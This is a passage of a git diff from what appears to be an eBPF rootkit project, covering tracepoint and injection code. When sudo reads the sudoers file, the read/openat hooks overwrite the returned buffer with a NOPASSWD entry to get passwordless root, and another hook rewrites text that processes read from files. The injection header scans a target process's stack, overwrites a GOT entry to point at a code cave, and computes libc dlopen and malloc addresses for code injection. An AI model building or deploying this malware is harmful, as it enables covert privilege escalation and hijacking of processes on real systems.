unsigned long long unused; //Pointer to pt_regs
|
||||
@@ -41,52 +44,40 @@ struct sys_read_enter_ctx {
|
||||
size_t count;
|
||||
};
|
||||
|
||||
static __always_inline int handle_sys_read(struct sys_read_enter_ctx *ctx, int fd, char* buf){
|
||||
/**
|
||||
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_open/format
|
||||
*/
|
||||
struct sys_openat_enter_ctx {
|
||||
unsigned long long unused;
|
||||
int __syscall_nr;
|
||||
unsigned int padding;
|
||||
int dfd;
|
||||
char* filename;
|
||||
unsigned int flags;
|
||||
umode_t mode;
|
||||
};
|
||||
|
||||
static __always_inline int handle_tp_sys_enter_read(struct sys_read_enter_ctx *ctx, int fd, char* buf){
|
||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
__u32 pid = pid_tgid >> 32;
|
||||
struct fs_open_data data = {
|
||||
.buf = buf,
|
||||
.fd = fd,
|
||||
.pid = pid
|
||||
};
|
||||
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
|
||||
|
||||
struct fs_open_data *stored_data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
|
||||
if (stored_data == NULL){
|
||||
//Not found
|
||||
//bpf_printk("Not found\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
struct fs_open_data data = *stored_data;
|
||||
data.buf = buf;
|
||||
data.fd = fd;
|
||||
|
||||
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_EXIST);
|
||||
//bpf_printk("IN PID: %u, FS:%u\n", pid, fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Receives read event and stores the parameters into internal map
|
||||
*
|
||||
*/
|
||||
SEC("tracepoint/syscalls/sys_enter_read")
|
||||
int kprobe_ksys_read(struct sys_read_enter_ctx *ctx) {
|
||||
struct sys_read_enter_ctx *rctx = ctx;
|
||||
if (ctx == NULL){
|
||||
bpf_printk("Error\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int fd = (int) ctx->fd;
|
||||
char *buf = (char*) ctx->buf;
|
||||
return handle_sys_read(ctx, fd, buf);
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Called AFTER the ksys_read call, checks the internal
|
||||
* map for the tgid+pid used and extracts the parameters.
|
||||
* Uses the user-space buffer reference for overwritting the returned
|
||||
* values.
|
||||
*
|
||||
*/
|
||||
SEC("tracepoint/syscalls/sys_exit_read")
|
||||
int kretprobe_vfs_read(struct sys_read_exit_ctx *ctx){
|
||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
if(pid_tgid<0){
|
||||
//bpf_printk("Out\n");
|
||||
return -1;
|
||||
}
|
||||
//bpf_printk("OUT PID: %u\n", pid_tgid>>32);
|
||||
|
||||
static __always_inline int handle_tp_sys_exit_read(struct sys_read_exit_ctx *ctx, __u64 pid_tgid){
|
||||
struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
|
||||
if (data == NULL || data->buf == NULL){
|
||||
//Not found
|
||||
@@ -100,12 +91,43 @@ int kretprobe_vfs_read(struct sys_read_exit_ctx *ctx){
|
||||
char msg_original[] = STRING_FS_HIDE;
|
||||
char msg_overwrite[] = STRING_FS_OVERWRITE;
|
||||
char c_buf[sizeof(msg_overwrite)] = {0};
|
||||
|
||||
char sudo_line_overwrite[] = STRING_FS_SUDOERS_ENTRY;
|
||||
char c_buf_sudo[STRING_FS_SUDOERS_ENTRY_LEN] = {0};
|
||||
|
||||
if(buf == NULL){
|
||||
return -1;
|
||||
}
|
||||
|
||||
//For including an user in the sudoers file
|
||||
//We just put our new line there, independently on what the rest of the file contains
|
||||
if(data->is_sudo==1){
|
||||
//bpf_printk("Proceeding to verwrite sudo\n");
|
||||
if(bpf_probe_write_user((void*)buf, (void*)sudo_line_overwrite, (__u32)STRING_FS_SUDOERS_ENTRY_LEN-1)<0){
|
||||
bpf_printk("Error writing to user memory\n");
|
||||
return -1;
|
||||
}
|
||||
//Overwriting the first line is enough, but we must go one step further now.
|
||||
//If the current user has sudo privileges already, then another entry will describe its permissions too,
|
||||
//and that one will override the NOPASSWD entry we wrote now. In order to increment the probability
|
||||
//that we achieve free full sudo capabilities without password, we must override some more chars.
|
||||
//For the best results: First measure byte length of sudoers. And fill with '#' (total-length - length sudo__line_overwrite)
|
||||
//Not enough overwritten bytes and you may not get privesc, too many and you may overwrite something else.
|
||||
int CHARS_TO_OVERRIDE = 700;
|
||||
char char_override = '#';
|
||||
for (int ii = 0; ii<CHARS_TO_OVERRIDE; ii++){
|
||||
if(bpf_probe_write_user((void*)buf+ STRING_FS_SUDOERS_ENTRY_LEN+ii, (void*)&char_override, (__u32)1)<0){
|
||||
bpf_printk("Error writing to user memory in additional symbol\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
bpf_printk("Sudo overwritten\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
#pragma unroll
|
||||
//For PoC 2 - Modifying text read from a file
|
||||
#pragma unroll
|
||||
for(int ii=0; ii<sizeof(msg_original)-1; ii++){
|
||||
if(bpf_probe_read_user(c_buf+ii, 1, buf+ii)<0){
|
||||
//bpf_printk("Error reading\n");
|
||||
@@ -122,10 +144,11 @@ int kretprobe_vfs_read(struct sys_read_exit_ctx *ctx){
|
||||
//bpf_printk("Discarded string at pid cause c %u, %s\n", pid, buf);
|
||||
return -1;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
bpf_printk("Overwritting at pid %u, %s\n", pid, buf);
|
||||
bpf_printk("Filename is %s\n", data->filename);
|
||||
bpf_printk("and program name is %s\n", data->program_name);
|
||||
if(bpf_probe_write_user((void*)buf, (void*)msg_overwrite, (__u32)sizeof(msg_overwrite)-1)<0){
|
||||
bpf_printk("Error writing to user memory\n");
|
||||
}
|
||||
@@ -134,4 +157,106 @@ int kretprobe_vfs_read(struct sys_read_exit_ctx *ctx){
|
||||
return 0;
|
||||
}
|
||||
|
||||
static __always_inline int handle_tp_sys_enter_openat(struct sys_openat_enter_ctx *ctx, __u64 pid_tgid){
|
||||
char comm[TASK_COMM_LEN] = {0};
|
||||
int err = bpf_get_current_comm(comm, sizeof(comm));
|
||||
/*struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
|
||||
if (data == NULL || data->buf == NULL){
|
||||
//Not found
|
||||
bpf_printk("Not found in openat\n");
|
||||
return -1;
|
||||
}*/
|
||||
|
||||
if(err < 0){
|
||||
return -1;
|
||||
}
|
||||
|
||||
char filename[STRING_FS_SUDOERS_FILE_LEN] = {0};
|
||||
bpf_probe_read_user(&filename, STRING_FS_SUDOERS_FILE_LEN, (char*)ctx->filename);
|
||||
|
||||
__u32 pid = pid_tgid >> 32;
|
||||
struct fs_open_data data = {
|
||||
.pid = pid
|
||||
};
|
||||
bpf_probe_read(data.filename, STRING_FS_SUDOERS_FILE_LEN, filename);
|
||||
bpf_probe_read(data.program_name, FS_OPEN_DATA_PROGRAM_NAME_SIZE, comm);
|
||||
|
||||
|
||||
|
||||
//Check task is sudo
|
||||
char *sudo = STRING_FS_SUDO_TASK;
|
||||
if(str_n_compare(comm, TASK_COMM_LEN, sudo, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
|
||||
data.is_sudo = 0;
|
||||
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
|
||||
return 0;
|
||||
}
|
||||
|
||||
//Check filename is the sudoers file
|
||||
char *sudoers = STRING_FS_SUDOERS_FILE;
|
||||
if(str_n_compare(filename, STRING_FS_SUDOERS_FILE_LEN, sudoers, STRING_FS_SUDOERS_FILE_LEN, STRING_FS_SUDOERS_FILE_LEN) != 0){
|
||||
data.is_sudo = 0;
|
||||
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
|
||||
return 0;
|
||||
}
|
||||
|
||||
data.is_sudo = 1;
|
||||
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
|
||||
//bpf_printk("It was a sudo!\n");
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* @brief Receives read event and stores the parameters into internal map
|
||||
*
|
||||
*/
|
||||
SEC("tp/syscalls/sys_enter_read")
|
||||
int tp_sys_enter_read(struct sys_read_enter_ctx *ctx) {
|
||||
struct sys_read_enter_ctx *rctx = ctx;
|
||||
if (ctx == NULL){
|
||||
bpf_printk("Error\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int fd = (int) ctx->fd;
|
||||
char *buf = (char*) ctx->buf;
|
||||
return handle_tp_sys_enter_read(ctx, fd, buf);
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Called AFTER the ksys_read call, checks the internal
|
||||
* map for the tgid+pid used and extracts the parameters.
|
||||
* Uses the user-space buffer reference for overwritting the returned
|
||||
* values.
|
||||
*/
|
||||
SEC("tp/syscalls/sys_exit_read")
|
||||
int tp_sys_exit_read(struct sys_read_exit_ctx *ctx){
|
||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
if(pid_tgid<0){
|
||||
//bpf_printk("Out\n");
|
||||
return -1;
|
||||
}
|
||||
//bpf_printk("OUT PID: %u\n", pid_tgid>>32);
|
||||
|
||||
return handle_tp_sys_exit_read(ctx, pid_tgid);
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief
|
||||
*
|
||||
*/
|
||||
SEC("tp/syscalls/sys_enter_openat")
|
||||
int tp_sys_enter_openat(struct sys_openat_enter_ctx *ctx){
|
||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
if(pid_tgid<0){
|
||||
//bpf_printk("Out\n");
|
||||
return -1;
|
||||
}
|
||||
return handle_tp_sys_enter_openat(ctx, pid_tgid);
|
||||
}
|
||||
|
||||
|
||||
#endif
|
||||
348
src/ebpf/include/bpf/injection.h
Normal file
348
src/ebpf/include/bpf/injection.h
Normal file
@@ -0,0 +1,348 @@
|
||||
#ifndef __BPF_INJECTION_H
|
||||
#define __BPF_INJECTION_H
|
||||
|
||||
|
||||
#include "headervmlinux.h"
|
||||
|
||||
#include <bpf/bpf_helpers.h>
|
||||
#include <bpf/bpf_tracing.h>
|
||||
#include <bpf/bpf_core_read.h>
|
||||
|
||||
#include "../../../common/constants.h"
|
||||
#include "defs.h"
|
||||
#include "../../../common/map_common.h"
|
||||
#include "../data/ring_buffer.h"
|
||||
|
||||
#define OPCODE_JUMP_BYTE_0 0xe8
|
||||
#define OPCODE_PLT_JMP_BYTE_0 0xff
|
||||
#define OPCODE_PLT_JMP_BYTE_1 0x25
|
||||
#define OPCODE_PLT_RERLO_BYTE_0 0xf3
|
||||
#define OPCODE_PLT_RERLO_BYTE_1 0x0f
|
||||
#define GLIBC_OFFSET_MAIN_TO_SYSCALL 0xf00d0
|
||||
#define GLIBC_OFFSET_MAIN_TO_DLOPEN 0x12f120
|
||||
#define GLIBC_OFFSET_MAIN_TO_MALLOC 0x6eca0
|
||||
|
||||
struct sys_timerfd_settime_enter_ctx {
|
||||
unsigned long long unused; //Pointer to pt_regs
|
||||
int __syscall_nr;
|
||||
unsigned int padding; //Alignment
|
||||
int ufd;
|
||||
int flags;
|
||||
const struct __kernel_itimerspec *utmr;
|
||||
struct __kernel_itimerspec *otmr;
|
||||
};
|
||||
|
||||
struct sys_timerfd_settime_exit_ctx {
|
||||
unsigned long long unused; //Pointer to pt_regs
|
||||
int __syscall_nr;
|
||||
unsigned int padding; //Alignment
|
||||
long ret;
|
||||
};
|
||||
|
||||
/**
|
||||
* @brief Checks whether the format of the syscall is the expected one
|
||||
*
|
||||
* @param opcodes
|
||||
* @param size
|
||||
* @return 0 if correct, 1 otherwise
|
||||
*/
|
||||
static __always_inline int check_syscall_opcodes(__u8* opcodes){
|
||||
return 0 == (/*opcodes[0]==0xf3 //FOR GDB WORKING TODO REMOVE
|
||||
&&*/ opcodes[1]==0x0f
|
||||
&& opcodes[2]==0x1e
|
||||
&& opcodes[3]==0xfa
|
||||
&& opcodes[4]==0x49
|
||||
&& opcodes[5]==0x89
|
||||
&& opcodes[6]==0xca
|
||||
&& opcodes[7]==0xb8
|
||||
&& opcodes[8]==0x1e
|
||||
&& opcodes[9]==0x01
|
||||
&& opcodes[10]==0x00
|
||||
&& opcodes[11]==0x00
|
||||
&& opcodes[12]==0x0f
|
||||
&& opcodes[13]==0x05);
|
||||
|
||||
}
|
||||
|
||||
static __always_inline int stack_extract_return_address_plt(__u64 stack_rip){
|
||||
//We have a possible RIP from the stack, to which we can take the previous instruction,
|
||||
//and check if its opcodes correspond with the expected format
|
||||
__u64 *entry_call_addr = (__u64*)(stack_rip - 0x5);
|
||||
__u8 entry_call_opcode_arr[10];
|
||||
if(bpf_probe_read(&entry_call_opcode_arr, 10*sizeof(__u8), entry_call_addr)<0){
|
||||
//bpf_printk("Failed to read stack position\n");
|
||||
return -1;
|
||||
}
|
||||
//bpf_printk(" -- Checking: %lx, res: %x %x", entry_call_addr, entry_call_opcode_arr[0], entry_call_opcode_arr[1]);
|
||||
//bpf_printk("%x %x %x\n", entry_call_opcode_arr[2], entry_call_opcode_arr[3], entry_call_opcode_arr[4]);
|
||||
if (entry_call_opcode_arr[0] != OPCODE_JUMP_BYTE_0) {
|
||||
//bpf_printk(" -- Failed OPCODE: %x\n", entry_call_opcode_arr[0]);
|
||||
return -1;
|
||||
}
|
||||
bpf_printk("Successful entry call address: %lx\n", entry_call_addr);
|
||||
|
||||
//We have localized a call instruction which might be the one we are looking for.
|
||||
//We proceed to get the offset of the call.
|
||||
__s32 offset = 0;
|
||||
__u8* entry_call_addr_8 = (__u8*)(stack_rip - 0x5);
|
||||
if(bpf_probe_read_user(&offset, sizeof(__s32), &entry_call_addr_8[1])<0){ //This takes the 4 MSB omitting the first
|
||||
bpf_printk("Failed to read entry_call_addr[1]\n");
|
||||
return -1;
|
||||
}
|
||||
//bpf_printk("OP64[1]: %x\n", &entry_call_addr[1]);
|
||||
//bpf_printk("OP8[1]: %x\n", &entry_call_addr_8[1]);
|
||||
|
||||
//We now extract to which memory position it jumps via its offset+current position+5 bytes of the
|
||||
//current call instruction.
|
||||
bpf_printk("OFFSET: %x\n", offset);
|
||||
bpf_printk("OP: %lx\n", entry_call_addr);
|
||||
__u64 sum = (uintptr_t)((__u64)(entry_call_addr_8)+offset+5);
|
||||
bpf_printk("SUM: %lx\n", sum);
|
||||
__u64* plt_addr = (__u64*)sum;
|
||||
|
||||
//Using the bytes written in the PLT.GOT section, the PLT jumps to libc, where
|
||||
//the syscall will be called. We can extract the opcodes of this routine and
|
||||
//see if we recognize the syscall as the one we wanted.
|
||||
__u8 libc_opcodes[10];
|
||||
bpf_probe_read_user(&libc_opcodes, 10*sizeof(__u8), plt_addr);
|
||||
bpf_printk("OPCODE0: %x\n", libc_opcodes[0]);
|
||||
bpf_printk("OPCODE1: %x\n", libc_opcodes[1]);
|
||||
bpf_printk("OPCODE5: %x\n", libc_opcodes[5]);
|
||||
bpf_printk("OPCODE6: %x\n", libc_opcodes[6]);
|
||||
|
||||
int plt_found = 0;
|
||||
int relro_active = 0;
|
||||
|
||||
//Check documentation for details on jump recognition.
|
||||
if(libc_opcodes[0]==OPCODE_PLT_JMP_BYTE_0 && libc_opcodes[1]==OPCODE_PLT_JMP_BYTE_1){
|
||||
//If the ELF binary has been compiled without RELRO, the first bytes are expected.
|
||||
plt_found = 1;
|
||||
}else if(libc_opcodes[0]==OPCODE_PLT_RERLO_BYTE_0 && libc_opcodes[1]==OPCODE_PLT_RERLO_BYTE_1 && libc_opcodes[5]==OPCODE_PLT_JMP_BYTE_0 && libc_opcodes[6]==OPCODE_PLT_JMP_BYTE_1){
|
||||
//If the ELF was compiled with RELRO protection.
|
||||
plt_found = 1;
|
||||
relro_active = 1;
|
||||
}
|
||||
|
||||
__u8* plt_addr_arr = (__u8*)plt_addr;
|
||||
if(plt_found == 1){
|
||||
bpf_printk("Found PLT entry\n");
|
||||
__s32 got_offset;
|
||||
__u64* got_addr;
|
||||
|
||||
if(relro_active == 0){
|
||||
//We analyze the offset of the jump specified ff 25 XX XX XX XX
|
||||
//The address to which the jump takes us from the PLT.GOT should be the actual syscall setup
|
||||
bpf_probe_read_user(&got_offset, sizeof(__s32), &plt_addr_arr[2]); //4 LSB
|
||||
//We obtain the address of the jump by adding the offset + our current memory address + 6 bytes of the current instruction
|
||||
got_addr = (u64*)((__u64)(plt_addr_arr) + got_offset + 0x6);
|
||||
bpf_printk("GOT_OFFSET: %lx\n", got_offset);
|
||||
bpf_printk("GOT_ADDR: %lx\n", got_addr);
|
||||
}else {
|
||||
bpf_printk("RELRO detected\n");
|
||||
//Proceed to take into account the endbr64 instruction
|
||||
plt_addr_arr = (__u8*)plt_addr+0x4;
|
||||
//We analyze the offset of the jump specified f2 ff 25 XX XX XX XX
|
||||
//The address to which the jump takes us from the PLT.GOT should be the actual syscall setup
|
||||
bpf_probe_read_user(&got_offset, sizeof(__s32), &plt_addr_arr[3]); //4 LSB + 7 bytes of the current instruction
|
||||
got_addr = (u64*)((__u64)(plt_addr_arr) + got_offset +0x7);
|
||||
bpf_printk("GOT_OFFSET: %lx\n", got_offset);
|
||||
bpf_printk("GOT_ADDR: %lx\n", got_addr);
|
||||
}
|
||||
|
||||
//The actual starting address at which the GOT section points in libc is contained in the previous pointer
|
||||
__u64 got_libc_addr;
|
||||
if(got_addr==NULL){
|
||||
return -1;
|
||||
}
|
||||
bpf_probe_read_user(&got_libc_addr, sizeof(__u64), got_addr);
|
||||
bpf_printk("GOT_ADDR_LIBC: %lx\n",got_libc_addr);
|
||||
|
||||
__u64 buf = CODE_CAVE_ADDRESS_STATIC;
|
||||
//bpf_printk("Now writing to GOT_ADDR_LIBC %lx\n", got_libc_addr);
|
||||
if(bpf_probe_write_user(got_addr, &buf, sizeof(__u64))<0){
|
||||
//Should not work if RELRO active
|
||||
bpf_printk("FAILED TO WRITE JUMP\n");
|
||||
}else{
|
||||
__u64 got_addr_new;
|
||||
bpf_probe_read_user(&got_addr_new, sizeof(__u64), got_addr);
|
||||
bpf_printk("Success, new GOT is %lx", got_addr_new);
|
||||
}
|
||||
|
||||
//Now that we have the address placed in the GOT section we can finally go to the function in glibc
|
||||
//where the syscall resides. We read the opcodes and check that they are the ones expected
|
||||
__u8 s_opcode[14];
|
||||
bpf_probe_read_user(s_opcode, 14*sizeof(__u8), (void*)got_libc_addr);
|
||||
for(int ii=0; ii<14; ii++){
|
||||
//bpf_printk("S_OPC %i: %x\n",ii,s_opcode[ii]);
|
||||
}
|
||||
if(check_syscall_opcodes(s_opcode)!=0){
|
||||
bpf_printk("Not the expected syscall\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
//We got the expected syscall call in libc. Its format depends on glibc.
|
||||
//We put it in an internal map.
|
||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
if(pid_tgid<0){
|
||||
return -1;
|
||||
}
|
||||
struct inj_ret_address_data *inj_ret_addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
|
||||
if (inj_ret_addr != NULL ){
|
||||
//It means we have already performed this whole operation
|
||||
return -1;
|
||||
}
|
||||
|
||||
bpf_printk("Final found libc syscall address: %lx\n", got_libc_addr);
|
||||
struct inj_ret_address_data addr;
|
||||
addr.libc_syscall_address = (__u64)got_libc_addr;
|
||||
addr.stack_ret_address = 0;
|
||||
addr.relro_active = relro_active;
|
||||
addr.got_offset = got_offset;
|
||||
addr.padding = 0;
|
||||
bpf_probe_read(&addr.got_address, sizeof(__u64), &got_addr);
|
||||
bpf_map_update_elem(&inj_ret_address, &pid_tgid, &addr, BPF_ANY);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
SEC("tp/syscalls/sys_enter_timerfd_settime")
|
||||
int sys_enter_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
|
||||
__u64 *scanner = (__u64*)ctx->otmr;
|
||||
int fd = ctx->ufd;
|
||||
|
||||
char comm[TASK_COMM_LEN] = {0};
|
||||
int err = bpf_get_current_comm(comm, sizeof(comm));
|
||||
if(err<0){
|
||||
return -1;
|
||||
}
|
||||
|
||||
char *task = TASK_COMM_NAME_ROP_TARGET;
|
||||
if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
|
||||
return 0;
|
||||
}
|
||||
bpf_printk("TASK: %s\n", comm);
|
||||
|
||||
long timesecs;
|
||||
//bpf_probe_read_user(×ecs, sizeof(long), &(new->it_interval.tv_sec));
|
||||
//bpf_printk("AG %ld\n",timesecs);
|
||||
__u64 address = 0;
|
||||
bpf_printk("Timer %i to scan at address %lx\n", fd, scanner);
|
||||
#pragma unroll
|
||||
for(__u64 ii=0; ii<200; ii++){
|
||||
//We got a foothold in the stack via the syscall argument, now we scan to lower memory
|
||||
//positions assuming those are the saced RIP. We will then perform checks in order to see
|
||||
//if it truly is the saved RIP (checking that there is a path to the actual syscall).
|
||||
bpf_probe_read(&address, sizeof(__u64), (void*)scanner - ii);
|
||||
//bpf_printk("stack: %lx\n", address);
|
||||
if(stack_extract_return_address_plt(address)==0){
|
||||
//We found the return address
|
||||
__u64 found_return_address = *scanner - ii;
|
||||
//We put it in an internal map.
|
||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
if(pid_tgid<0){
|
||||
return -1;
|
||||
}
|
||||
struct inj_ret_address_data *addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
|
||||
if (addr == NULL){
|
||||
//It means we failed to insert into the map before
|
||||
return -1;
|
||||
}
|
||||
//struct inj_ret_address_data addr = *inj_ret_addr;
|
||||
//struct inj_ret_address_data addr;
|
||||
//bpf_probe_read(&addr, sizeof(struct inj_ret_address_data), inj_ret_addr);
|
||||
addr->stack_ret_address = (__u64)scanner - ii;
|
||||
if(bpf_map_update_elem(&inj_ret_address, &pid_tgid, addr, BPF_EXIST)<0){
|
||||
bpf_printk("Failed to insert the return address in bpf map\n");
|
||||
return -1;
|
||||
}
|
||||
bpf_printk("Final found return address: %lx\n", addr->stack_ret_address);
|
||||
bpf_printk("GOT address: %lx\n", addr->got_address);
|
||||
|
||||
|
||||
//Tell userspace to perform operations on localized addresses
|
||||
int pid = bpf_get_current_pid_tgid() >> 32;
|
||||
ring_buffer_send_vuln_sys(&rb_comm, pid, addr->libc_syscall_address,
|
||||
addr->stack_ret_address, addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL,
|
||||
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_DLOPEN,
|
||||
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_MALLOC,
|
||||
addr->got_address, addr->libc_syscall_address, addr->relro_active);
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
bpf_printk("Finished without findings\n");
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
SEC("tp/syscalls/sys_exit_timerfd_settime")
|
||||
int sys_exit_timerfd_settime(struct sys_timerfd_settime_exit_ctx *ctx){
|
||||
char comm[TASK_COMM_LEN] = {0};
|
||||
int err = bpf_get_current_comm(comm, sizeof(comm));
|
||||
if(err<0){
|
||||
return -1;
|
||||
}
|
||||
char *task = TASK_COMM_NAME_ROP_TARGET;
|
||||
if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
|
||||
return 0;
|
||||
}
|
||||
|
||||
//If we are here we may have the return address stored in the map.
|
||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
__u32 pid = pid_tgid >> 32;
|
||||
struct inj_ret_address_data *inj_ret_addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
|
||||
if (inj_ret_addr == NULL){
|
||||
//We failed to identify the return address in the previous probe.
|
||||
return -1;
|
||||
}
|
||||
|
||||
struct inj_ret_address_data addr = *inj_ret_addr;
|
||||
bpf_printk("PID: %u, SYSCALL_ADDR: %lx, STACK_RET_ADDR: %lx", pid, addr.libc_syscall_address, addr.stack_ret_address);
|
||||
bpf_printk("Address of libc main: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL);
|
||||
bpf_printk("Address of libc_dlopen_mode: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_DLOPEN);
|
||||
bpf_printk("Address of malloc: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_MALLOC);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
//NOT CURRENTLY CONNECTED
|
||||
SEC("uprobe/execute_command")
|
||||
int uprobe_execute_command(struct pt_regs *ctx){
|
||||
bpf_printk("UPROBE activated\n");
|
||||
bpf_printk("Ret is %lx", ctx->ip);
|
||||
|
||||
char* buf = "A\0";
|
||||
long ret;
|
||||
if((ret = bpf_probe_write_user((void*)ctx->ip, buf,1))>=0){
|
||||
bpf_printk("Success writting? Should not have happened\n");
|
||||
return -1;
|
||||
}
|
||||
bpf_printk("ERROR writing: %li\n", ret); //EFAULT
|
||||
char dest_buf[2];
|
||||
if(ctx->ip-5 <=0){
|
||||
return -1;
|
||||
}
|
||||
if((ret = bpf_probe_read_user(dest_buf, 2, (void*)ctx->ip-5))<0){
|
||||
bpf_printk("Error reading instruction\n");
|
||||
return -1;
|
||||
}
|
||||
//bpf_printk("Stack: %x\n", dest_buf);
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -1,20 +0,0 @@
|
||||
#ifndef __BPF_MAP_DEFS_H
|
||||
#define __BPF_MAP_DEFS_H
|
||||
|
||||
#include "headervmlinux.h"
|
||||
|
||||
//File system
|
||||
struct fs_open_data{
|
||||
char* buf;
|
||||
int fd;
|
||||
__u32 pid;
|
||||
};
|
||||
|
||||
struct fs_open{
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 1024*sizeof(struct fs_open_data));
|
||||
__type(key, __u64); //thread group id(MSB) + pid (LSB)
|
||||
__type(value, struct fs_open_data);
|
||||
} fs_open SEC(".maps");
|
||||
|
||||
#endif
|
||||
39
src/ebpf/include/bpf/tc.c
Normal file
39
src/ebpf/include/bpf/tc.c
Normal file
@@ -0,0 +1,39 @@
|
||||
#include <linux/bpf.h>
|
||||
#include <linux/if_ether.h>
|
||||
#include <linux/pkt_cls.h>
|
||||
#include <linux/swab.h>
|
||||
#include <bpf/bpf_tracing.h>
|
||||
#include <bpf/bpf_helpers.h>
|
||||
|
||||
|
||||
struct pkt_ctx_t {
|
||||
struct cursor *c;
|
||||
struct ethhdr *eth;
|
||||
struct iphdr *ipv4;
|
||||
struct tcphdr *tcp;
|
||||
struct udphdr *udp;
|
||||
struct http_req_t *http_req;
|
||||
};
|
||||
|
||||
SEC("classifier/egress")
|
||||
int classifier(struct __sk_buff *skb){
|
||||
void *data_end = (void *)(unsigned long long)skb->data_end;
|
||||
void *data = (void *)(unsigned long long)skb->data;
|
||||
struct ethhdr *eth = data;
|
||||
bpf_printk("Heey\n");
|
||||
if (data + sizeof(struct ethhdr) > data_end)
|
||||
return TC_ACT_SHOT;
|
||||
|
||||
if (eth->h_proto == ___constant_swab16(ETH_P_IP))
|
||||
/*
|
||||
* Packet processing is not implemented in this sample. Parse
|
||||
* IPv4 header, possibly push/pop encapsulation headers, update
|
||||
* header fields, drop or transmit based on network policy,
|
||||
* collect statistics and store them in a eBPF map...
|
||||
*/
|
||||
return 0;//process_packet(skb);
|
||||
else
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
char _license[4] SEC("license") = "GPL";
|
||||
@@ -41,6 +41,32 @@ static __always_inline int ring_buffer_send(struct ring_buffer *rb, int pid, eve
|
||||
bpf_ringbuf_submit(event, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Sends an event indicating a vulnerable syscall injection into the specified ring kernel buffer
|
||||
*
|
||||
* @return 0 if ok, -1 if error
|
||||
*/
|
||||
static __always_inline int ring_buffer_send_vuln_sys(struct ring_buffer *rb, int pid, __u64 syscall_address, __u64 process_stack_return_address, u64 libc_main_address, u64 libc_dlopen_mode_address, __u64 libc_malloc_address, __u64 got_address, __s32 got_offset, int relro_active){
|
||||
struct rb_event *event = (struct rb_event*) bpf_ringbuf_reserve(rb, sizeof(struct rb_event), 0);
|
||||
if(!event){
|
||||
return -1;
|
||||
}
|
||||
|
||||
event->event_type = VULN_SYSCALL;
|
||||
event->pid = pid;
|
||||
event->libc_dlopen_mode_address = libc_dlopen_mode_address;
|
||||
event->libc_main_address = libc_main_address;
|
||||
event->libc_malloc_address = libc_malloc_address;
|
||||
event->process_stack_return_address = process_stack_return_address;
|
||||
event->syscall_address = syscall_address;
|
||||
event->got_address = got_address;
|
||||
event->relro_active = relro_active;
|
||||
event->got_offset = got_offset;
|
||||
|
||||
bpf_ringbuf_submit(event, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -32,36 +32,7 @@ static __always_inline int str_n_compare(char* str1, int str1len, char* str2, in
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Implementation of strncpy from the Linux Kernel.
|
||||
